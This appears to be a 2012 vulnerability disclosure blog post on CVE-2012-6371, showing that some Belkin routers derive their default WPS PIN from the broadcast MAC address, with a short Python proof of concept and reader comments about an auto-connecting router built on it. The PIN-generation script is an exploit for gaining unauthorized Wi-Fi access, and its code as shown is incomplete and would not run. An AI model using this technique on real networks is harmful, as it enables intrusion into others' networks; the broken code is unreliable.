Inicio > Wireless > CVE-2012-6371 – Insecure default WPS pin in some Belkin wireless routers

CVE-2012-6371 – Insecure default WPS pin in some Belkin wireless routers

Viernes, 14 de diciembre de 2012 Dejar un comentario Ir a comentarios


After of the reading of CVE-2012-4366 where a German security researcher showed like an attacker could sniff beacons finding out MAC address of the router, so we would be able to generate this passphrase through of a static substitution table.On the other way, I have not seen this substitution table anywhere so I decided to attempt with another idea for avoiding brute force and it worked! So I asked for a CVE number and here it is : CVE-2012-6371

Moreover we can read his words about last vulnerability (CVE-2012-4366) :

However, in the case of Belkin the default password is calculated solely based on the mac address of the device. Since the mac address is broadcasted with the beacon frames sent out by the device, a wireless attacker can calculate the default passphrase and then connect to the wireless network.

Each of the eight characters of the default passphrase are created by substituting a corresponding hex-digit of the wan mac address using a static substitution table. Since the wan mac address is the wlan mac address + one or two (depending on the model), a wireless attacker can easily guess the wan mac address of the device and thus calculate the default WPA2 passphrase.

Moreover, the default WPA2-PSK passphrase solely consists of 8 hexadecimal digits, which means that the entropy is limited to only 32 bits (or 33 bits since some models use uppercase hex digits). After sniffing one successful association of a client to the wireless network, an attacker can carry out an offline brute-force attack to crack the password. The program oclhashcat-plus can try 131,000 passwords per second on one high end GPU (AMD Radeon hd7970)


However, we can use another work of a Chinese guy who discovered a nice trick with the WPS pins. So we can generate WPS pins for BELKIN routers. For example,



We know that MAC address is public, so we can extract the WPS pin by default  using the last 6 digits of MAC address following this step:

# python 51990C
[+] WPS pin is : 53475961

Probably most of  those routers could be vulnerables as well and other manufacturers.So stay tunned!

At this moment only this version is vulnerable Model : F9K1104v1

UPDATED: (June 2013)

Belkin_N+_XXXXXX   00:22:75:XX:XX:XX    F5D8235-4 v1000
belkin.XXX         00:1C:DF:XX:XX:XX    F5D8231-4 v5000
belkin.XXX         09:86:3B:XX:XX:XX    F9K1104   v1000



Proof of concept

Here we have a simple PoC  with a script in Python:

Created on Dec 9, 2012

@author       :
Original work : ZhaoChunsheng 04/07/2012


import sys

VERSION    = 0

def usage():
    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
    print "[*] Usage : python 123456"

def wps_pin_checksum(pin):
    accum = 0

        accum += 3 * (pin % 10)
        pin /= 10
        accum += pin % 10
        pin /= 10
    return  (10 - accum % 10) % 10

    if (len(sys.argv[1]) == 6):
        p = int(sys.argv[1] , 16) % 10000000
        print "[+] WPS pin is : %07d%d" % (p, wps_pin_checksum(p))
except Exception:



Links  pointing here about that vulnerability:

Spanish language:

Related Posts Plugin for WordPress, Blogger...
Categories: Wireless Tags:
  1. Domingo, 26 de mayo de 2013 a las 13:03 | #1

    First and foremost: Thank you for your great work!

    I am a security enthausiast from Germany and just recently held a talk about
    the “Heckenkrebs”, an autoconnecting OpenWRT router.

    The main idea is to exploit know default settings in wlan-routers to gain quick
    access to ‘protected’ networks like the Easybox-hack from wotan dot cc .
    While looking for more low hanging fruits in the wifi world i stumbled upon
    your research.

    Due to the lack of resources (mainly disk space) on the WR703 Router i
    implemented your Proof Of Concept Code in posix shell ( ).

    I would love to see other manufacturers using the same ‘technique’ as belkin to
    preconfigure their network appliances 😀



  2. superdudu
    Martes, 11 de junio de 2013 a las 15:03 | #2


    first of all, thanks for your feedback! secondly, I read your script and just that: “# Calculates the default WPS pin of Belkin Routers and returns the WPA key” . I can imagine that your “try_wps_pin” is returning a WPA key when you enter a right valid, isn’t it? If so, that’s right. Otherwise you just got a possible right WPS PIN.

    Probably, this algorithm is being used for many vendors. Even other different algorithms but not much different to that.

    By the way, Easybox-hack is pretty identical to our Arcadyan routers in Spain, around of 2 or 3 years ago:
    There you can have a look at “piece of firmware code” pretty weird found in an update of firmware. Afterwards, we found almost the same algorithm in internet (Possibly the same that EasyBox uses now), in this website:

    Nowadays I am not using much OpenWRT for playing :D, but I’d like to check out your code.


  3. makefu
    Miércoles, 26 de junio de 2013 a las 08:27 | #3


    it is correct, that the script in the end will return the complete WPA password from the WPS PIN. We are using wpa_supplicant to perform the wpa handshake, in the end the configuration of wpa_supplicant will contain the WPA key.

    Implementing the keygen for Arcadyan routers is currently in my pipe, as well as the Alicebox/Siemens keygen ( )

    In the last weeks we pulled out the autowifi script code into a modular and generic software which works on every system with a posix shell and wpa_supplicant:

    All scripts can also be run stand alone without OpenWRT, only a current Linux is required.

    Thanks again for your Work,


  1. Domingo, 27 de enero de 2013 a las 10:00 | #1
  2. Jueves, 28 de febrero de 2013 a las 13:53 | #2
  3. Lunes, 29 de julio de 2013 a las 19:21 | #3

Maximum 2 links per comment. Do not use BBCode.

Show me what you are not a r0b0t! :) * Time limit is exhausted. Please reload CAPTCHA.